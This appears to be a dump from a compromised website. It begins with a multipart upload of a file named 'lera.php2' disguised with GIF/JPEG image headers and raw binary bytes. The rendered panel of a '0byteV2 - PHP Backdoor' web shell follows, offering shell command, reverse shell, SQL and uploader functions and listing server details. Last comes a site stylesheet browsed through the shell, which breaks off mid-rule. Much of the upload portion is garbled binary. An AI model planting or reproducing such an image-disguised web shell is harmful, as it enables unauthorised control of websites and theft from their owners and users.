------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæóÆáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^û秛ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•Í½¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûžeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýߧ!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

[ Readable Users Path ] [ SQL Interface ] [ Shell Command ] [ Reverse Shell ] [ Shows vDomain ] [ Uploader ]
/home/vhtecindia/public_html/assets/css/
@import url('fonts1.css'); body { font-family: 'Roboto', sans-serif; font-size: 15px; /*color: #93a0a7;*/ color: #000; line-height: 26px; } /*---Typography---*/ .ImgPR { position:absolute; top:0; left:0;width:300px !important; height:443px !important; z-index:1; } h1, h2, h3, h4, h5, h6 { padding: 0px; margin: 0px; font-family: 'texgyreadventorbold'; text-transform: uppercase; color: #24353b; } h1 { font-size: 46px; } h2 { font-size: 36px; } h3 { font-size: 30px; } h4 { font-size: 24px; } h5 { font-size: 18px; } h6 { font-size: 14px; } p { padding: 0px; margin: 0px; } ol, ul { margin-bottom: 0px; } a { text-decoration: none !important; outline: none; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; -ms-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } label { font-weight: normal; } ::-webkit-input-placeholder { opacity:1; text-transform:uppercase; } :-moz-placeholder { /* Firefox 18- */ opacity:1; text-transform:uppercase; } ::-moz-placeholder { /* Firefox 19+ */ opacity:1; text-transform:uppercase; } :-ms-input-placeholder { opacity:1; text-transform:uppercase; } input:focus, textarea:focus, select:focus { outline: none; } /*----------------------- Page Loader -----------------------*/ #loading { width: 100%; height: 100%; position: fixed; z-index: 99999; background: #fff; } #loading .element { position: absolute; margin: 0 auto; left: 0px; right: 0px; top: 50%; } .sk-folding-cube { margin: 20px auto; width: 40px; height: 40px; position: relative; -webkit-transform: rotateZ(45deg); transform: rotateZ(45deg); } .sk-folding-cube .sk-cube { float: left; width: 50%; height: 50%; position: relative; -webkit-transform: scale(1.1); -ms-transform: scale(1.1); transform: scale(1.1); } .sk-folding-cube .sk-cube:before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #B82921; -webkit-animation: sk-foldCubeAngle 2.4s infinite linear both; animation: sk-foldCubeAngle 2.4s infinite linear both; -webkit-transform-origin: 100% 100%; -ms-transform-origin: 100% 100%; transform-origin: 100% 100%; } .sk-folding-cube .sk-cube2 { -webkit-transform: scale(1.1) rotateZ(90deg); transform: scale(1.1) rotateZ(90deg); } .sk-folding-cube .sk-cube3 { -webkit-transform: scale(1.1) rotateZ(180deg); transform: scale(1.1) rotateZ(180deg); } .sk-folding-cube .sk-cube4 { -webkit-transform: scale(1.1) rotateZ(270deg); transform: scale(1.1) rotateZ(270deg); } .sk-folding-cube .sk-cube2:before { -webkit-animation-delay: 0.3s; animation-delay: 0.3s; } .sk-folding-cube .sk-cube3:before { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; } .sk-folding-cube .sk-cube4:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; } @-webkit-keyframes sk-foldCubeAngle { 0%, 10% { -webkit-transform: perspective(140px) rotateX(-180deg); transform: perspective(140px) rotateX(-180deg); opacity: 0; } 25%, 75% { -webkit-transform: perspective(140px) rotateX(0deg); transform: perspective(140px) rotateX(0deg); opacity: 1; } 90%, 100% { -webkit-transform: perspective(140px) rotateY(180deg); transform: perspective(140px) rotateY(180deg); opacity: 0; } } @keyframes sk-foldCubeAngle { 0%, 10% { -webkit-transform: perspective(140px) rotateX(-180deg); transform: perspective(140px) rotateX(-180deg); opacity: 0; } 25%, 75% { -webkit-transform: perspective(140px) rotateX(0deg); transform: perspective(140px) rotateX(0deg); opacity: 1; } 90%, 100% { -webkit-transform: perspective(140px) rotateY(180deg); transform: perspective(140px) rotateY(180deg); opacity: 0; } } /* ================================================== */ /* 02. header */ /* ================================================== */ .header-top { display: block; background: #211d1e; } .header-top ul.follow-us { display: block; padding-top: 14px; float: left; } .header-top ul.follow-us li { display: inline-block; padding-right: 20px; font-size: 18px; } .header-top ul.follow-us li a { color: #646162; } .header-top ul.follow-us li a:hover { color: #fff; } .header-top .right-block { display: block; float: right; } .header-top ul.top-nav { display: block; padding-top: 8px; padding-right: 10px; float: left; } .header-top ul.top-nav li { display: block; padding: 0 13px; float: left; font-size: 11px; font-weight: 700; text-transform: uppercase; } .header-top ul.top-nav li a { color: #6c777d; } .header-top ul.top-nav li a:hover { color: #fff; } .header-top .lang-wrapper { display: block; float: right; } .header-top .select-lang, .header-top .select-lang2 { display: block; float: left; font-size: 12px; font-weight: 700; text-transform: uppercase; } .header-top .select-lang { margin-left: 1px; } .header-top .select2-container--default .select2-selection--single { border: none; border-radius: 0px; background: #302c2d; } .header-top .select2.select2-container { width: 100px !important; } .header-top .select2-container .select2-selection--single { height: 42px; } .header-top .select2-container--default .select2-selection--single .select2-selection__rendered { line-height: 42px; } .header-top .select2-container .select2-selection--single .select2-selection__rendered { padding-left: 16px; color: #fff; } .header-top .select2-container .select2-selection--single .select2-selection__rendered img { margin-right: 4px; } .header-top .select2-container--default .select2-selection--single .select2-selection__arrow { width: 30px; height: 42px; } .select2-container--open .select2-dropdown--below { border-radius: 0px; } .select2-container--default .select2-selection--single .select2-selection__arrow b { border-width: 6px 5px 0; border-color: #c1c0c0 transparent transparent; } .select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b { border-width: 0 5px 6px; } .select2-dropdown { border: 1px #dedddd solid; } .select2-results__option { padding: 0 6px; font-size: 13px; } .select2-results__option .img-flag { margin-right: 4px; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background: #ff9600; } .header-middle { padding-top: 20px; padding-bottom: 20px; } .header-middle .contact { display: block; padding:0; float: right; } .header-middle .contact ul { display: block; padding-right: 32px; float: left; } .header-middle .contact ul li { display: block; padding: 0 14px; border-right: 1px #dedddd solid; float: left; font-family: 'texgyreadventorbold'; font-size: 18px; color: #4f4a4a; line-height: 18px; } .header-middle .contact ul li span { display: block; font-family: 'Roboto', sans-serif; font-size: 12px; color: #8f9ba1; text-transform: uppercase; } .header-middle .contact ul li a { color: #4f4a4a; } .header-middle .contact ul li a:hover { color: #ff9600; } .header-middle a.login { display: inline-block; padding: 5px 16px; border: 2px #2c97ea solid; border-radius: 5px; font-size: 12px; color: #6f7a7f; font-weight: 700; margin-top:10px; } .header-middle a.login:hover { background: #2c97ea; color: #fff; } .header-middle a.login span { display: inline-block; vertical-align: middle; margin-top: -2px; margin-left: 10px; font-size: 14px; color: #00aaff; } .header-middle a.login:hover span { color: #fff; } .login1 { display: inline-block; padding: 5px 16px; border: 2px #2c97ea solid; border-radius: 5px; font-size: 12px; color: #6f7a7f; font-weight: 700; margin:6px 0; background:#fff; } .login1:hover { background: #2c97ea; color: #fff; } .login1 span { display: inline-block; vertical-align: middle; margin-top: -2px; margin-left: 10px; font-size: 14px; color: #00aaff; } .login1:hover span { color: #fff; } /* ================================================== */ /* 03. navigation */ /* ================================================== */ .navbar { border-radius: 0px; margin: 0px; border: none; } .navbar-collapse { padding: 0px; } .navbar-inverse { background: #B82921; } .nav > li > a { padding: 19px 11px; } .navbar-nav > li { border-right: 1px #E26059 solid; } .navbar-nav > li > a { text-transform: uppercase; } .navbar-nav > li:last-child { border: none; } .navbar-inverse .navbar-nav > li > a { font-family: 'texgyreadventorbold'; font-size: 16px; color: #fff; } .navbar-inverse .navbar-nav > li > a i { font-size: 20px; color: #E26059; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .open > a:focus, .navbar-inverse .navbar-nav > .open > a:hover { background: #ff9600; } .navbar-form { width: 30%; padding: 0 25px; background: #4ab866; margin: 0px; position: relative; } .navbar-form .form-control { width: 100%; margin: 12px 0; padding-left: 0px; height: 34px; background: none; border-radius: 0px; box-shadow: none; border-bottom: 1px #a5dcb3 solid !important; border: none; font-size: 12px; color: #b4ddbd; text-transform: uppercase; } .navbar-form .form-control::-webkit-input-placeholder { color:#fff; } .navbar-form .form-control:-moz-placeholder { /* Firefox 18- */ color:#fff; } .navbar-form .form-control::-moz-placeholder { /* Firefox 19+ */ color:#fff; } .navbar-form .form-control:-ms-input-placeholder { color:#fff; } .navbar-form .search-btn { display: block; border: none; position: absolute; right: 25px; top: 18px; background: none; font-size: 16px; color: #fff; } .navbar .dropdown-menu { min-width: 260px; padding: 0px; border: none; box-shadow: none; border-radius: 0px; border-top: 4px #ff9600 solid; } .navbar .dropdown-menu:after { bottom: 100%; left: 40px; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; border-color: rgba(255, 150, 0, 0); border-bottom-color: #ff9600; border-width: 10px; } .navbar .dropdown-menu > li > a { padding: 8px 15px; } .navbar .dropdown-menu > li > a:focus, .navbar .dropdown-menu > li > a:hover { background: #ff9600; color: #fff; } /* ================================================== */ /* 04. home page sections */ /* ================================================== */ /*----------------------- banner -----------------------*/ .banner-outer { display: block; position: relative; overflow-x: hidden; } .banner-slider .container { display: table; height: 100%; } .banner-outer .slide1, .banner-outer .slide2, .banner-outer .slide3 { display: block; height: 588px; } /* .banner-outer .slide1 { background: url(../images/banner1.jpg) no-repeat center top / cover; } .banner-outer .slide2 { background: url(../images/banner2.jpg) no-repeat center top / cover; } .banner-outer .slide3 { background: url(../images/banner3.jpg) no-repeat center top / cover; } */ .banner-outer .content { display: table-cell; vertical-align: middle; } .banner-slider .content .fl-right { float: right; } .banner-outer .content h1 { display: block; padding-bottom: 20px; font-family: 'texgyreadventorbold'; font-size: 32px; color: #fff !important; line-height: 50px; text-transform: uppercase; -webkit-animation-delay: 0.2s; } .banner-outer .content h1 span { display: block; font-size: 62px; -webkit-animation-delay: 0.3s; } .banner-outer .content p { display: block; padding-bottom: 25px; max-width: 390px; font-size: 16px; color: #FFF !important; opacity: 0.8; -webkit-animation-delay: 0.34s; } .banner-outer .content a.btn { -webkit-animation-delay: 0.36s; } .banner-outer .slide2 .content a.btn { margin: 0 10px; } .banner-outer .slide2 .content { float: none; text-align: center; } .banner-outer .slide2 .content h1, .banner-outer .slide3 .content h1 { font-size: 54px; color: #fff; } .banner-outer .slide2 .content p { margin: 0 auto; color: #fff; } .banner-outer .slide3 .content h1, .banner-outer .slide3 .content p { color: #fff; } .btn { display: inline-block; padding: 12px 24px; border-radius: 4px; background: #ff9600; font-family: 'texgyreadventorbold'; font-size: 14px; color: #fff; text-transform: uppercase; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; -ms-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } .btn span { margin-left: 8px; display: inline-block; vertical-align: middle; margin-top: -3px; content: ""; opacity: 0.5; } .btn:hover, .btn:focus { background: #2c97ea; color: #fff; } .btn.white { background: #fff; color: #595545; } .btn.white:hover { background: #2c97ea; color: #fff; } .btn.blue { background: #2c97ea; color: #fff; } .btn.blue:hover { background: #B82921; } .banner-outer .bx-wrapper .bx-pager { bottom: 60px; position: absolute; width: 100%; text-align: center; z-index: 999; } .banner-outer .bx-wrapper .bx-pager .bx-pager-item { display: inline-block; } .banner-outer .bx-wrapper .bx-pager a { background: #fff; border-radius: 2px; display: block; height: 5px; margin: 0 4px; outline: 0 none; text-indent: -9999px; width: 18px; opacity: 0.3; } .banner-outer .bx-wrapper .bx-pager a:hover, .banner-outer .bx-wrapper .bx-pager a.active { background: #fff; opacity: 1; } /*----------------------- about -----------------------*/ .about { display: block; position: relative; padding:56px 0 65px 0; background: url(../images/about-bg.html) no-repeat center bottom; } .about ul.our-links { display: block; margin: -280px 0 0 0; position: relative; z-index: 9999; } .about ul.our-links li { display: block; position: relative; } .about ul.our-links li.apply-online { background: #ff9600; } .about ul.our-links li.prospects .detail a.more { border: 2px #ff9600 solid; color: #ff9600; } .about ul.our-links li.prospects { background: #2c97ea; } .about ul.our-links li.prospects .detail a.more { border: 2px #2c97ea solid; color: #2c97ea; } .about ul.our-links li.certification { background: #f0bc01; } .about ul.our-links li.certification .detail a.more { border: 2px #f0bc01 solid; color: #f0bc01; } .about ul.our-links li { display: block !important; padding: 44px 10px 60px 4%; opacity: 1 !important; } .about ul.our-links li p { padding-bottom: 0px; } .about ul.our-links li .icon { width: 23%; float: left; } .about ul.our-links li .detail { width: 60%; padding-left: 20px; float: left; color: #fff; } .about ul.our-links li .detail h3 { display: block; padding-bottom: 10px; font-family: 'texgyreadventorbold'; font-size: 24px; color: #fff; text-transform: uppercase; } .about ul.our-links li .detail h3 span { display: block; font-size: 12px; } .about ul.our-links li .detail p { display: block; font-size: 12px; line-height: 16px; } .about ul.our-links li .detail a.more { display: inline-block; width: 38px; height: 38px; line-height: 34px; position: absolute; bottom: -17px; margin: 0 auto; left: 0; right: 0; background: #fff; font-size: 20px; color: #ff9600; border-radius: 50%; text-align: center; border: 2px #ff9600 solid; } .about ul.our-links li .detail a.more:hover { color: #211d1e; } .about .sm-head { display: block; font-family: 'texgyreadventorregular'; font-size: 14px; color: #7d7c7c; line-height: 18px; text-transform: uppercase; } .about .left-block { display: block; } .video-block { height: 0; overflow: hidden; padding-bottom: 56.25%; position: relative; } .video-block iframe, .video-block object, .video-block embed { height: 100%; left: 0; position: absolute; top: 0; width: 100%; } #thumbnail_container { overflow: hidden; width: 100%; } .about .video-block img { width: 100%; } .about .video-block a { width: 67px; display: block; position: absolute; margin: -34px auto 0; left: 0px; right: 0px; top: 50%; cursor: pointer; } .about h2 { padding-bottom: 20px !important; color: #353434; text-align: left !important; } .about p { display: block; padding-bottom: 34px; } .about .know-more-wrapper { display: block; position: relative; } .about .know-more-wrapper:after { width: calc(100% - 135px); height: 1px; background: #e8e8e8; content: ""; position: absolute; right: 0px; top: 14px; z-index: 1; } .about a.know-more { display: inline-block; padding-right: 24px; position: relative; z-index: 2; font-family: 'texgyreadventorbold'; font-size: 14px; color: #645847; text-transform: uppercase; } .about a.know-more span { display: inline-block; vertical-align: middle; margin-top: -2px; margin-left: 4px; color: #ff9600; } .about a.know-more:hover span { color: #B82921; } /*----------------------- cources -----------------------*/ .padding-lg { display: block; padding-top: 90px; padding-bottom: 90px; } .our-cources h2, .how-study h2, .why-choose h2, .news-events h2, .campus-tour h2, .testimonial h2, .about h2, .browse-teacher h2, .how-apply h2, .have-question h2 { display: block; padding-bottom: 44px; font-family: 'texgyreadventorbold'; font-size: 36px; text-transform: uppercase; text-align: center; } .our-cources h2 span, .how-study h2 span, .why-choose h2 span, .news-events h2 span, .campus-tour h2 span, .browse-teacher h2 span, .how-apply h2 span { display: block; font-family: 'texgyreadventorregular'; font-size: 14px; opacity: 0.8; } .our-cources { display: block; background: #383838; position: relative; } .our-cources:after { width: 100%; height: 100%; display: block; position: absolute; top: 0px; z-index: 1; content: ""; background: url(../images/cources-bg.html) no-repeat center top / cover; opacity: 0.2; } .our-cources .container { position: relative; z-index: 2; } .our-cources h2 { color: #fff; } .our-cources h2 span { color: #d5d4d3; } .our-cources ul.course-list { display: block; padding-top: 20px; } .our-cources ul.course-list li { display: block; background: url(../images/book-bg.html) no-repeat center top; position: relative; } .our-cources ul.course-list li:after { width: 1px; height: 100%; position: absolute; right: 0px; top: 0px; display: block; background: #fff; content: " "; opacity: 0.3; } .our-cources ul.course-list li .inner { width: 198px; margin: 0 auto; height: 280px; padding: 54px 0 0 30px; position: relative; } .our-cources ul.course-list li .inner figure { position: absolute; left: 4px; top: 1px; opacity: 0.3; } .our-cources ul.course-list li h3 { display: block; padding-bottom: 10px; font-family: 'texgyreadventorbold'; font-size: 18px; text-transform: uppercase; line-height: 22px; color: #fff; position: relative; } .our-cources ul.course-list li h3 span { display: block; } .our-cources ul.course-list li p { display: block; padding-bottom: 12px; font-size: 12px; line-height: 18px; color: #fff; opacity: 0.8; } .our-cources ul.course-list li .fess-box { display: inline-block; padding: 0 12px; background: #ff9600; font-size: 11px; font-weight: 700; color: #fff; position: relative; text-transform: uppercase; } .our-cources ul.course-list li .fess-box span { font-family: 'texgyreadventorbold'; font-size: 16px; } .our-cources ul.course-list li .bottom-txt { width: 100%; padding: 18px 30px; position: absolute; bottom: 0px; left: 0px; } .our-cources ul.course-list li .duration { width: 81%; float: left; } .our-cources ul.course-list li .duration h4 { display: block; font-family: 'texgyreadventorbold'; font-size: 16px; color: #fff; text-transform: uppercase; } .our-cources ul.course-list li .duration span { display: block; font-size: 11px; font-weight: 700; color: #fff; line-height: 16px; text-transform: uppercase; opacity: 0.8; } .our-cources ul.course-list li a { display: block; position: absolute; right: 18px; top: 22px; } .our-cources ul.course-list li a .icon-more-icon { font-size: 23px; color: #fff; opacity: 0.5; transition: all 0.3s ease 0s; } .our-cources ul.course-list li a:hover .icon-more-icon { opacity: 1; } /*----------------------- impotance -----------------------*/ .our-impotance { background: #fff; } .our-impotance ul { display: block; text-align: center; } .our-impotance ul li { display: block; margin-bottom: 64px; border-right: 1px #e9e9e9 solid; position: relative; } .our-impotance ul li .inner { display: block; padding: 30px; } .our-impotance ul li .inner img { border-radius: 3px; } .our-impotance ul li:nth-child(3n) { border-right: none; } .our-impotance ul li:nth-child(n+4):after { display: none; } .our-impotance ul li:nth-child(n+4) { margin-bottom: 0px; } .our-impotance ul li:after { width: 80%; height: 1px; margin: 0 auto; left: 0px; right: 0px; display: block; position: absolute; bottom: -35px; content: ""; background: #e9e9e9; } .our-impotance ul li h3 { display: block; padding: 22px 0 12px 0; font-family: 'texgyreadventorbold'; font-size: 18px; color: #284962; text-transform: uppercase; line-height: 24px; } .our-impotance ul li h3 span { display: block; } .our-impotance ul li p { display: block; font-size: 12px; color: #969a9e; 